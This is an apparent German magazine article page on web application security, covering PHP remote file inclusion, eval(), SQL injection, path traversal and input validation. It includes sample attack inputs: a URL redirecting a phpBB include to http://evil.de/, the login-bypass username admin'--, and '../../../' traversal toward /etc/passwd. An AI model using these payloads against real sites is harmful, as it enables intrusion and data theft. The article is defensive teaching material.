Sicherheit von Webanwendungen

Seite 2: Remote Code Execution

Inhaltsverzeichnis

Im Gegensatz zum XSS, bei dem der Browser des Anwenders schädlichen Skriptcode untergeschoben bekommt, führen manche Programmierfehler auch dazu, dass die Webapplikation selbst beliebige Befehle eines Angreifers ausführt. Eine Programmzeile, die unzähligen Plug-ins für das Forensystem phpBB zum Verhängnis wurde, lautet:

include_once ($phpbb_root_path . 'common.php');

Der Befehl soll aus dem Basisverzeichnis von phpBB die Datei common.php mit einigen grundlegenden Applikationsfunktionen einbinden und somit ausführen. Viele Plug-in-Programmierer sind blind davon ausgegangen, dass die globale Variable $phpbb_root_path stets den Pfad zur phpBB-Installation enthält. Doch ohne entsprechende Sicherheitsabfragen lassen sich Plug-in-Skripte auch direkt per URL starten und beliebige Variablenparameter übergeben.

Durch den Aufruf /plugin.php&phpbb_root_path=http://evil.de/ kann ein Angreifer den Wert von $phpbb_root_path auf einen externen Server umbiegen. Die ausgeführte Datei wäre mit diesem Aufruf http://evil.de/common.php, in der der Angreifer beliebige Befehle hinterlegt haben könnte. Das include()-Pendant require() hat mit denselben Problemen zu kämpfen. Eine derart einfache Schadcode-Ausführung übers Netz ist nur mit einer unsicheren PHP-Konfiguration möglich. Leider ist sie aus Kompatibilitätsgründen vor allem bei Shared-Hosting-Anbietern immer noch Standard.

Nur noch vergleichsweise selten anzutreffen ist eine Form der Remote Code Execution, bei der der Schadcode wie bei XSS direkt aus der URL oder aus Formulardaten stammt. Sie entsteht vornehmlich durch leichtfertige Verwendung der PHP-Funktion eval(), die eine beliebige Zeichenkette als PHP-Code interpretiert. Die Funktion ist nur mit allergrößter Vorsicht einzusetzen. In PHP-Kreisen hat sich zu Recht die Redewendung "eval is evil" etabliert.

Ein groĂźer Teil der Webanwendungen arbeitet mit einer SQL-Datenbank. Das Einschleusen oder Manipulieren von SQL-Kommandos bezeichnet man als SQL-Injektion. Eine einfache Nutzerauthentifizierung lieĂźe sich beispielsweise mit dem SQL-Statement SELECT * FROM users WHERE name='$username' AND password='$password' umsetzen. Wenn es keine Daten zurĂĽckliefert, existiert die Kombination von Username und Passwort nicht in der Datenbank und der Login-Versuch ist ungĂĽltig.

Falls die Applikation den vom Anwender eingegebenen Nutzernamen oder das Passwort ungefiltert übernimmt, kann er obige SQL-Anweisung beispielsweise durch geschickten Einsatz des SQL-Kommentarzeichens - - und des Hochkommas manipulieren. Schickt er den Nutzernamen admin'- - mit einem beliebigen Passwort, ergibt sich das SQL-Statement SELECT * FROM users WHERE name='admin'- - AND password='beliebig'. Der Passwortteil des Ausdrucks nach dem - - wird vom SQL-Server ignoriert, und er liefert unabhängig vom Passwort die Daten für den User admin zurück, sofern er in der Tabelle existiert. Ein Angreifer müsste bei einer derart nachlässig programmierten Nutzerauthentifizierung nur einen korrekten Namen erraten.

SQL kennt auch das Semikolon als Trennzeichen zwischen SQL-Statements. Bleibt dies ungefiltert, kann ein Angreifer mit dem obigen Trick auch beliebige SQL-Befehle an den Datenbankserver schicken. So kann er unter Umständen auch geschützte Daten auslesen oder Daten beliebig manipulieren. Derart offensichtliche Angriffe sind jedoch nur noch selten möglich, da vom Nutzer eingegebene Daten in der Regel nicht mehr völlig ungefiltert in die SQL-Statements wandern. Bei Passwörtern ist außerdem inzwischen eine Quasi-Filterung durch Bilden des Hash-Wertes üblich.

Doch solche vermeidbaren Fehler bei der Programmierung sind keinesfalls aus der Welt. Erst diesen November traf es das Karriereforum von T-Online [5], das mit einer vergleichbaren SQL-Injektion einen passwortlosen Admin-Login erlaubte. Andere aktuelle Beispiele von SQL-Injektionsangriffen sind jedoch ungleich komplizierter [6].

Eine vergleichsweise alte Angriffsform ist der sogenannte Verzeichnisausbruch, zu Englisch Path Traversal. Bei allen aktuellen Betriebssystemen dient der Dateinname ".." als Verweis auf das übergeordnete Verzeichnis. Übernimmt beispielsweise ein Download-Skript einen Dateinamen ungefiltert aus einem URL-Parameter, kann ein Angreifer durch vorangestellte "../../../" auch auf höhere Verzeichnisebenen zugreifen als vorgesehen und so unter Umständen etwa an Login-Namen aus /etc/passwd oder Datenbankpasswörter in config.php-Dateien gelangen.

Der wichtigste Grundsatz beim Entwickeln einer sicheren Webanwendung mutet vielleicht überzogen an, ist aber bitter nötig: Sämtlichen Daten, die von außen in die Applikation gelangen, ist grundsätzlich zu misstrauen, denn sie könnten von einem Angreifer manipuliert sein. Sofern eine Webanwendung keine speziellen Eingabekanäle etwa über gesonderte Netzwerkverbindungen implementiert, kommen die Daten in erster Linie über Variablenparameter in der URL. Da sie der Browser mit dem HTTP-Kommando GET übermittelt, spricht man auch von GET-Variablen. Die meisten Skriptsprachen übergeben sie der Applikation schlimmstenfalls als globale Variablen und bestenfalls in einem gesonderten Array. Im ersten Fall muss man sogar sämtlichen globalen Variablen misstrauen, da sie ein Angreifer unter Umständen beliebig modifizieren kann.

Weniger bekannt ist, dass auch sämtliche POST-Variablen, also alle sichtbaren und unsichtbaren Formularfelder sowie Select-Daten, ebenfalls nicht als sicher gelten können. Der Browser übermittelt sie nach dem Klicken etwa auf den Submit-Button mit dem HTTP-Kommando POST an die Webapplikation; beliebige Manipulation ist also möglich. Selbst Cookies, die ursprünglich von der Webanwendung stammen, könnte ein Angreifer im Browser verändert haben. Auch Daten aus lokalen Dateien können unter Umständen nicht vertrauenswürdige Daten enthalten – etwa URLs in Server-Logs. Dies ist jedoch im Einzelfall zu klären.

Na sowas! Bei Pro7.de war es ausgerechnet die Funktion zur Erkennung ungĂĽltiger Aufrufe, die beliebigen Schadcode in die angezeigte Webseite einbettet.

Daten aus solchen Quellen müssen grundsätzlich auf Gültigkeit geprüft werden. In der Regel lässt sich für eine Variable ein Wertebereich beziehungsweise Zeichenvorrat festlegen. Geburtsjahre liegen sinnvollerweise zwischen einem anwendungsabhängigen Startdatum, etwa 1900, und dem aktuellen Datum. In Namensfeldern sind je nach Sprachraum nur Groß- und Kleinbuchstaben, einige internationale Sonderbuchstaben und gegebenenfalls Dezimalpunkt und Komma brauchbar.

Die Kollegen von Sat1.de überließen Angreifern das Layout der gefälschten Inhalte sogar ganz.

Auch typische Sonderzeichen, mit denen sich Unfug anstellen lässt, sollten frühzeitig ausgefiltert werden. Einige Funktionen zur Verarbeitung von Zeichenketten lassen sich durch geschickt eingestreute Null-Bytes oder Newlines austricksen. Dasselbe gilt für Hochkommata und einige andere Steuerzeichen.

Als kritisch mĂĽssen im Prinzip alle Zeichen gelten, denen im Kontext der vorgesehenen Verwendung eine Sonderbedeutung zukommt. Bei Zeichenketten, die einmal in eine HTML-Seite wandern sollen, sind dies insbesondere spitze Klammern fĂĽr HTML-Tags, mit denen auch eingeschmuggelter Skriptcode beginnen mĂĽsste, sowie das Prozentzeichen und das Kaufmanns-Und (&).